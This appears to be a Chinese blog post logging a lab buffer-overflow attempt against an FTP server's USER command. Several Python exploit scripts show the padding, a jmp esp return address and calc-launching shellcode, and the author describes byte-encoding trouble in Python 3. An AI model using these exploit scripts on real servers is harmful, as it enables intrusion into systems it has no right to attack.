开篇 无限接近成功
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x45\x44\x43\x42"+buf1
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

数字准确填充EIP
铺垫 离奇的填充EIP数值

不使用encode函数引起报错
# 神秘c2填充地址中间代码
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x7B\x46\x86\x7C"+"A"*4+buf1 #此地址为kernel32中jmp esp指令所在
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

#c3填充首字节
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1 #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

转折 目标锁定encode函数
#2.7下编译通过 3.5失败
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1 #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str = "User "
str += "A"*485
str += "\xD7\x30\x5A\x7D"
str += "\90"*10
str += "\r\n"
# str=str.encode()
s.send(str)

已查阅关于python相关文档,但对encode()函数底层编译实现未有太多解释 后续填坑考虑使用python生成可执行程序 通过IDA和调试器解决填充问题
在尝试填充EIP数值的过程中,作者遇到了使用encode函数导致的未解决问题。文章详细描述了从无限接近成功的状态,到因encode函数而出现的转折,以及后续计划通过研究Python生成的可执行程序和利用调试器来解决此问题。
1058

被折叠的 条评论
为什么被折叠?



